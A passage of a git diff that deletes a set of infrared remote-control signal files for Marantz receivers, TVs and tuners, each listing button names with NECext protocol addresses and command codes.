-# -name: PRESET_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: (TUNER-1)_PRE_DOWN- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: PRESET_-- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: CHANNEL<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: TUNER1_PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: [TUNER-1]PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: TUNER_I<<_PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: TUNER_-_PRESET- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: TUNER:_PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: SKIP_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: (TUNER-1)_T-MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: TUNER1_T-MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: [TUNER-1]_T-MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: TUNER_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: T.MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: TUNER:_FM_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: TUNER:_T-MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: STEREO/MONO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: (TUNER-1)_MEMO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: TUNER1_MEMO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: [TUNER-1]_MEMO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: MEMORY_(TUNER) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: (TUNER-1)_PRE_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: TUNER1_PRESET_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: PRESET_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: P.SCAN/V-OFF -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: PRESET_SCAN_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: TUNER:_PRESET_SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: DWR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: TUNER:_DWR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: (TUNER-1)_FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2D 00 00 00 -# -name: TUNER1_FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2D 00 00 00 -# -name: [TUNER-1]_FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2D 00 00 00 -# -name: INPUT:_FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2D 00 00 00 -# -name: (TUNER-1)_AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: TUNER1_AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: [TUNER-1]_AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: INPUT:_AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: LW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2F 00 00 00 -# -name: TUNER:_LW -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2F 00 00 00 -# -name: (TUNER-1)_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: TUNER1_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: [TUNER-1]_CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: LINE_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: TUNER-1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: TUNER_-_1_(LINE_1) -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: TUNER_-_AM/FM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_-_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: TUNER:_BAND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: PRESET_INFO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 52 00 00 00 -# -name: TUNER:_PRESET_INFO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 52 00 00 00 -# -name: PTY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 78 00 00 00 -# -name: TUNER:_PTY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 78 00 00 00 -# -name: TUNER:_STM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir deleted file mode 100644 index ac794ff29..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 03 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 07 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 08 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 09 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0B 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 40 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 41 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir deleted file mode 100644 index c81f5f1e0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: <>_T-MODE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2F 00 00 00 -# -name: RECORDER_2 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 -# -name: TAPE_(RECORDER_2) -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_-_TAPE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir deleted file mode 100644 index 0bd15bb3b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_DISC_+/A -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: CD_DISC_B/- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1F 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 -# -name: CD_INPUT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_-_CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir deleted file mode 100644 index 0b8404dd8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PHONO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir deleted file mode 100644 index d2fab1198..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MD -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 -# -name: DCC -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_-_MD -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir deleted file mode 100644 index 81977a198..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD-R -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 -# -name: RECORDER_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 -# -name: CDR -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 -# -name: CD-R_(RECORDER_1) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 -# -name: CDR/MD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 -# -name: CDR_INPUT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_-_CD-R -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 -# -name: INPUT:_CD-R -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir deleted file mode 100644 index 684cb11d3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SAT -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir deleted file mode 100644 index 253cef927..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PTY_/_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3F 00 00 00 -# -name: SUB-T/ATT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SET_UP/T._TONE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir deleted file mode 100644 index 80d64a8e0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: VCR1/TV_(VCR1/TAPE) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_-_VCR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 -# -name: INPUT:_VCR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir deleted file mode 100644 index 369fff4aa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR2_REC -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 37 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: DSS -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: VCR_2_(DSS) -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: DSS/VCR2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: VCR2/DSS -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: DSS_INPUT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: VCR_2/DSS -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: INPUT_-_DSS -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: INPUT:_DSS -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 -# -name: INPUT:_DSS/MD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir deleted file mode 100644 index 2b427e933..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir deleted file mode 100644 index ce544a2dc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DSS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir deleted file mode 100644 index 1594403c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: ENTER/OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir deleted file mode 100644 index 8336643c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir deleted file mode 100644 index c3e32a84b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: INPUT:_VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1D 00 00 00 -# -name: OF-T -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: OFF_TIME -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 55 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 56 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 57 00 00 00 -# -name: INPUT:_PC -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir deleted file mode 100644 index f2ac1244f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 1C 00 00 00 -# -name: HD_3 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 40 00 00 00 -# -name: PIC_MEMORY -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 41 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 42 00 00 00 -# -name: BRIGHT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 43 00 00 00 -# -name: PIC_MODE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 44 00 00 00 -# -name: COLOR_TEMP -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 45 00 00 00 -# -name: MODE:_WIDE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: AD 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: AD 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B0 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B1 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B2 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B3 00 00 00 -# -name: CURSON_RIGHT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B3 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B4 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B5 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C4 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CA 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CB 00 00 00 -# -name: HD_2 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: DC 00 00 00 -# -name: HD_1 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: EB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir deleted file mode 100644 index 38ca22d0b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 08 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir deleted file mode 100644 index 1a7503218..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: RECAL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: INPUT:_RGB_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 21 00 00 00 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 22 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 -# -name: INPUT:_RGB_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: A1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir deleted file mode 100644 index dc78ab5b5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Tuner 